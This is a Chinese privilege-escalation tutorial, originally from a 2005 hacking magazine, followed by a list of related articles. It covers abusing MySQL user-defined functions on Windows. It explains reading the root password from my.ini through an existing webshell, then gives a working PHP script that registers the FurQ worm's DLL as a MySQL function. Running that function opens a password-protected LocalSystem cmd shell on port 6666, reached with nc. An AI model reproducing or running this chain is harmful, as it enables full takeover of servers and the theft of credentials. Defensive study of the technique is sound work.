提权,以MySQL之名

作者kEvin 
注:稿件已刊登于《黑客防线》2005年第7期上,转载请著明版权与出处。

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究. 
其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已. 
废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通. 
MySQL中创建一个函数的语句为: 
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll'; 
其中FunctionName指的是函数的名称,C:\Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用. 
好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限. 
在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的. 
一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1. 
得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去. 
现在,我们用PHPSPY新建一个PHP文件. 
输入以下的内容 
<?php 
$link=mysql_connect('127.0.0.1','root','root'); 
if (!$link) { 
die('Could NOt Connect The Database!: ' . mysql_error()); 
}; 
echo "Good Boy.Connected!<br>"; 
//这里的root\root就是从my.ini中读取的用户和密码. 
@mysql_select_db('mysql') or die ('use database mysql failed!'); 
echo "Yes You Did!<br>"; 
//这里选择使用MySQL数据库表.当然你也可以选择别的,如test. 
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';"; 
@$result = mysql_query($query, $link) or die ("Create Function Failed!"); 
echo "Goddess...Successed!<br>"; 
//这两句话是关键,执行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数. 
$query="Select Shell();"; 
@$result = mysql_query($query, $link) or die ("Execute failed"); 
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>"; 
//这一步是执行这个Shell函数,打开服务器的6666端口. 
?> 
再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵.

(0)

相关推荐

  • 提权,以MySQL之名

    作者kEvin  注:稿件已刊登于<黑客防线>2005年第7期上,转载请著明版权与出处. 前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器.最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.  其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的

  • Linux利用UDF库实现Mysql提权

    环境: os:linux(bt5)   database:mysql   简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同.   要求:  在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止:   过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 mysql> show variables like "%p

  • Mysql提权的多种姿势汇总

    目录 一.写入Webshell into outfile 写shell 日志文件写shell 二.UDF提权 三.MOF提权 总结 一.写入Webshell into outfile 写shell 前提条件: 1.知道网站物理路径 2.高权限数据库用户 3.load_file() 开启 即 secure_file_priv 无限制 4.网站路径有写入权限 首先基础语法查询是否 secure_file_priv 没有限制 show global variables like '%secure_fi

  • Oracle 低权限数据库账户得到 OS 访问权限 提权利用

    这几天看了篇叫"Penetration: from application down to OS (Oracle)"的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和 connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺骗服务器, 来得到系统的访问权限.我本地测试了下,还真的成功了.:-) 具体的原理分析看原文吧,我

  • python脚本实现Redis未授权批量提权

    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 安装依赖 sudo easy_install redis 使用 redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: -----------------------------------

  • 防止aspxspy木马列服务 iis信息 执行命令提权等操作

    环境:windows2003+iis6+.net2.0 处于安全考虑,对服务器安全进行设置.上传aspxspy测试. ASPXSPY探针 1.禁止aspxspy木马执行命令提权 和读取注册表 测试方法一: 先打开:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\config\web.config 之后找到 <trust level="Full" originUrl="" /> 改为 <trust leve

  • Serv-U防溢出提权攻击解决设置方法

    前言: 大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点.甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了:虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷.(注:最常见的就如

  • 虚拟主机封杀webshell提权!!!!!!!!!!

    1.为了打造一个安全的虚拟主机,在asp+SQL环境下,我们要做的是封杀ASP webshell.封杀serv-u提权漏洞和SQL注入的威胁 2.默认安装的win主机上webshell功能十分强大,我们要封杀webshell的哪些功能 也就是不让webshell查看系统服务信息,执行cmd命令和略览文件目录,我们要实现的功能是每个用户只能访问自己的目录,而且可以用FSO等ASP组件,在这里我以海洋木马和win200为例给大家演示一下.好多资料都是网上收集而来,在这表示感谢. 3.现在我们先设置好

  • mysql表名忽略大小写配置方法详解

    linux下mysql默认是要区分表名大小写的.mysql是否区分大小写设置是由参数lower_case_table_names决定的,其中: 1)lower_case_table_names = 0  区分大小写(即对大小写不敏感),默认是这种设置.这样设置后,在mysql里创建的表名带不带大写字母都没有影响,都可以正常读出和被引用. 2)lower_case_table_names = 1  不区分大小写(即对大小写敏感).这样设置后,表名在硬盘上以小写保存,MySQL将所有表名转换为小写存

  • windows服务器安全设置之提权篇

    服务器的安全很重要,特别是被黑客提权,这里指的是用web进行提权,web提权一般会用到 NETWORK SERVICE 帐号,和注册表的改动,于是我们把注册表的部分改为只读即可,请看下图: 把注册表位置HKEY_USERS\S-1-5-20HKEY_USERS\S-1-5-20_Classes NETWORK SERVICE 帐号的完全权限,改为读取权限,就可以防范了 补充:为了安全考虑我们一般包括虚拟主机设置软件,都是各个网站都是独立用户的,这样才能更好的防止提取,而且有效的保护了各个网站之间

随机推荐